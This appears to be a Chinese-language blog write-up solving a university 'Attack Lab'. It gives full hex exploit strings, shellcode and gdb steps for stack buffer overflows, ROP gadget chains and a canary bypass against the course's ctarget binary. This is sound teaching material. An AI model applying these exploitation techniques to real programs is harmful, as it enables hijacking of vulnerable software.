ICS Lab: Attack Lab
本文使用 Zhihu On VSCode 創作併發布
Introduction
Attack Lab是ICS課程的第三個lab,顧名思義就是讓我們想辦法攻擊一些程式,讓其偏離原先的執行方式。這個lab的主要目的是理解緩衝區以及緩衝區溢位的隱患,以及相應的攻防。實驗要求進行六次攻擊,分別對應不同程度的防範,這可以說是所有lab裡面最有趣的一個了。而且當時的樹洞有很多求助貼卻只得到了冷嘲熱諷或者猜謎一般的回覆,當且僅當你知道怎麼寫這個lab的時候你才能理解他們的“指點”。
Image
Image
或許你會覺得Alice已經給出了提醒,但是事實是:偏移的offset是0x128,所以如果你沒有做出來根本就不能獲得正確的提示,反而會被引入歧途,畢竟誰會想到128竟然是個十六進位制的數呢。
Code Injection Attacks
前三個phase都是讓程式執行我們寫入的程式碼,所以我們要設定好執行的程式或者地址,然後讓程式在ret時進入我們安排好的位置。
phase1
這是一個熱身,只要把執行的位置跳轉到touch1就可以了。
首先要獲得可執行程式的反彙編程式碼。
Image
開啟ctarget。asm檔案,檢視有關test的程式部分。在test呼叫getbuf之後會有ret指令,考慮用緩衝區溢位替換換來的返回地址,直接指向touch1。
00000000004018b2
4018b2: 48 83 ec 38 sub $0x38,%rsp
4018b6: 48 89 e7 mov %rsp,%rdi
4018b9: e8 31 03 00 00 callq 401bef
4018be: b8 01 00 00 00 mov $0x1,%eax
4018c3: 48 83 c4 38 add $0x38,%rsp
4018c7: c3 retq
可以看到%rsp減了0x38,說明這部分棧的空間是56,再往上就是返回地址,所以填滿這個棧之後填上touch1的地址即可。
000000000040193a
40193a: 48 83 ec 08 sub $0x8,%rsp
40193e: c7 05 d4 3b 20 00 01 movl $0x1,0x203bd4(%rip) # 60551c
401945: 00 00 00
401948: 48 8d 3d 73 1a 00 00 lea 0x1a73(%rip),%rdi # 4033c2 <_IO_stdin_used+0x312>
40194f: e8 ec f3 ff ff callq 400d40
401954: bf 01 00 00 00 mov $0x1,%edi
401959: e8 f9 04 00 00 callq 401e57
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 48 f5 ff ff callq 400eb0
touch1的地址是0x40193a,用小端法表示後的輸入應當是
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
3a 19 40 00 00 00 00 00
最後不要忘記加回車保留一個空行,然後用hex2raw轉換為字串,並且執行。
。/hex2raw < 1。txt >1。bin
。/ctarget -qi 1。bin
熱身環節就做完了。
phase2
這個階段要求執行touch2函式,並且要傳入cookie作為引數,也就是把cookie放在%rdi裡。
我的cookie是0x77c3944f。
這裡考慮先編寫一段程式碼將cookie放到%rdi並執行touch2函式,然後在getbuf的ret處將程式執行跳轉到自己寫的程式碼處。
編寫一小段彙編
movq $0x77c3944f,%rdi
pushq $0x401968
ret
然後用gcc和objdump轉換為二進位制程式碼
$ gcc -c 2。s
$ objdump -d 2。o
2。o: 檔案格式 elf64-x86-64
Disassembly of section 。text:
0000000000000000 <。text>:
0: 48 c7 c7 4f 94 c3 77 mov $0x77c3944f,%rdi
7: 68 68 19 40 00 pushq $0x401968
c: c3 retq
要獲得存放這段程式碼的位置,就要知道%rsp的值,幸運的是此處沒有棧隨機化,我們用gdb執行一次就可以知道這部分棧不變的位置
$ gdb 。/ctarget
(gdb) break getbuf
(gdb) run -qi 1。bin
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004018b2 <+0>: sub $0x38,%rsp
0x00000000004018b6 <+4>: mov %rsp,%rdi
0x00000000004018b9 <+7>: callq 0x401bef
0x00000000004018be <+12>: mov $0x1,%eax
0x00000000004018c3 <+17>: add $0x38,%rsp
0x00000000004018c7 <+21>: retq
End of assembler dump。
(gdb) stepi
14 in buf。c
(gdb) p /x $rsp
$1 = 0x5561b7b8
這時得到的就是棧底的位置,直接把程式碼放在棧底並跳轉到這個位置執行。
48 c7 c7 4f
94 c3 77 68
68 19 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
b8 b7 61 55
儲存為2。txt,同樣用hex2raw處理之後執行
。/hex2raw < 2。txt >2。bin
。/ctarget -qi 2。bin
第二關就過了。
phase3
這裡要把cookie作為一個字串傳給touch3,跟phase2類似,將%rdi設為棧中cookie字串的地址。
cookie轉換成字串後得到
37 37 63 33 39 34 34 66
此處考慮把cookie放在更高的位置,這樣不容易被棧的變動更改。
小心計算cookie字串的地址,與phase2類似編寫彙編後得到
48 c7 c7 f8
b7 61 55 68
7f 1a 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
b8 b7 61 55
00 00 00 00
37 37 63 33
39 34 34 66
儲存為3。txt,同樣用hex2raw處理之後執行
。/hex2raw < 3。txt >3。bin
。/ctarget -qi 3。bin
第三關就過了。
ROP Attack
phase4
從這關開始限制了可執行程式碼的區域,所以自己編寫程式已經行不通了。但是實驗已經設定了一個gadget farm,在這些程式碼中從某些特殊的位置開始執行,會有完全不同的效果。將多個gadget聯合起來使用,就相當於執行了一條條彙編指令。
具體的實現實驗說明上有寫,網上一些部落格也寫的非常清楚,所以我略過說明直接開始做題。
要把cookie放到%rdi,一樣考慮從棧popq到暫存器,所以在gadget farm查詢popq %rdi的命令段。
然後就會發現找不到。
所以考慮迂迴戰術,先popq到另外的暫存器,然後movq到%rdi。這裡正好有如下實現方式
popq %rax
movq %rax, %rdi
0000000000401b7c
401b7c: c7 07 11 09 58 90 movl $0x90580911,(%rdi)
401b82: c3 retq
例如以上程式碼,58表示popq %rax,90是nop,c3是ret,就完成了彙編目的的第一行,所以起始程式碼位置應該是0x401b80。
尋找另一程式碼的地址,可以得到如下字串
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
80 1b 40 00 00 00 00 00
4f 94 c3 77 00 00 00 00
6a 1b 40 00 00 00 00 00
f6 18 40 00 00 00 00 00
進行驗證
成功。
phase5
在這一題需要傳cookie的字串作為引數,但是由於棧隨機化策略,我們不能知道存放字串的絕對地址,只能根據執行時的%rsp進行推算。所以解題的思路就是:
在適當的位置放入字串
得到某個時刻%rsp的位置
對這個位置進行適當的偏移作為字串的地址
第三步需要用到加法,但是gadget中並沒有addq的指令編碼,仔細觀察可以看到gadget中原來就有一個add_xy
0000000000401b89
401b89: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401b8d: c3 retq
所以我之前總是說lab最好團隊做,看教程做,這種一方面讓你找ROP,另一方面又有這種直接用整段程式碼的題目有點像腦筋急轉彎,想不到的話卻是浪費時間。
那麼思路就成了怎麼把%rsp和偏移放到%rdi和%rsi,然後怎麼把%rax放到%rdi。一樣是迂迴策略,仔細研究就可以發現以下路徑:
popq %rax 401b80
0x20
movl %eax,%ecx 401bd8
movl %ecx,%edx 401c57
movl %edx,%esi 401c1a
movq %rsp,%rax 401baa
movq %rax,%rdi 401b4f
lea (%rdi,%rsi,1),%rax 401b89
movq %rax,%rdi 401b4f %rdi = %rsp + 0x20
touch3
cookie
得到%rsp的時候和cookie的地址差了4條指令,所以偏移就是32,當然如果先取出了%rsp,那麼偏移就要相應更改。
得到如下結果:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
80 1b 40 00 00 00 00 00
20 00 00 00 00 00 00 00
d8 1b 40 00 00 00 00 00
57 1c 40 00 00 00 00 00
1a 1c 40 00 00 00 00 00
aa 1b 40 00 00 00 00 00
4f 1b 40 00 00 00 00 00
89 1b 40 00 00 00 00 00
4f 1b 40 00 00 00 00 00
0d 1a 40 00 00 00 00 00
37 37 63 33 39 34 34 66
00 00 00 00 00 00 00 00
驗證以下結果
phase6
這是CMU原版lab沒有的一個phase,網上也鮮有教程,樹洞還都是謎語人,唉……。
直接來看getbuf_withcanary,
0000000000401ad5
401ad5: 55 push %rbp
401ad6: 48 89 e5 mov %rsp,%rbp
401ad9: 48 81 ec 20 01 00 00 sub $0x120,%rsp
401ae0: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401ae7: 00 00
401ae9: 48 89 45 f8 mov %rax,-0x8(%rbp)
401aed: 31 c0 xor %eax,%eax
401aef: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%rbp)
401af6: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax
401afd: 48 89 c7 mov %rax,%rdi
401b00: e8 0c 02 00 00 callq 401d11
401b05: 8b 45 e4 mov -0x1c(%rbp),%eax
401b08: 48 98 cltq
401b0a: 48 8d 95 e0 fe ff ff lea -0x120(%rbp),%rdx
401b11: 48 8d 0c 02 lea (%rdx,%rax,1),%rcx
401b15: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax
401b1c: ba 80 00 00 00 mov $0x80,%edx
401b21: 48 89 c6 mov %rax,%rsi
401b24: 48 89 cf mov %rcx,%rdi
401b27: e8 d4 f2 ff ff callq 400e00
401b2c: b8 01 00 00 00 mov $0x1,%eax
401b31: 48 8b 75 f8 mov -0x8(%rbp),%rsi
401b35: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi
401b3c: 00 00
401b3e: 74 05 je 401b45
401b40: e8 7f 06 00 00 callq 4021c4 <__stack_chk_fail>
401b45: c9 leaveq
401b46: c3 retq
直接想要寫爆緩衝區是不可能的,canary的值會被更改。但是此處有一個魔幻的memcpy,其中的引數是可以透過寫入字串來修改的。所以我們可以考慮進行一些精巧的設定,在memcpy時正好把程式碼塊放到canary之上覆蓋原先的返回地址,從而達成劫持的目的。
source的起始位置已經定了就是讀入字串開始的位置,dest的位置應該是canary之上正好是返回地址的開始位置,所以是從棧底往上0x120+8也就是0x128的位置,然後把之前phase5的程式碼搬運到最開頭即可。執行時memcpy之後程式碼就跑到了和phase5一樣的位置上了。
80 1b 40 00 00 00 00 00
20 00 00 00 00 00 00 00
d8 1b 40 00 00 00 00 00
57 1c 40 00 00 00 00 00
1a 1c 40 00 00 00 00 00
aa 1b 40 00 00 00 00 00
4f 1b 40 00 00 00 00 00
89 1b 40 00 00 00 00 00
4f 1b 40 00 00 00 00 00
0d 1a 40 00 00 00 00 00
37 37 63 33 39 34 34 66
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 28 01 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
驗證一下,確實沒有問題。
Conclusion
過了一年再來重寫這個lab(原先忘記儲存了哭),還是花了好長的時間,網上居然依然找不到2020年的解題報告,不得不感嘆人心不古啊,現在都沒有人願意造福後代了。
唉……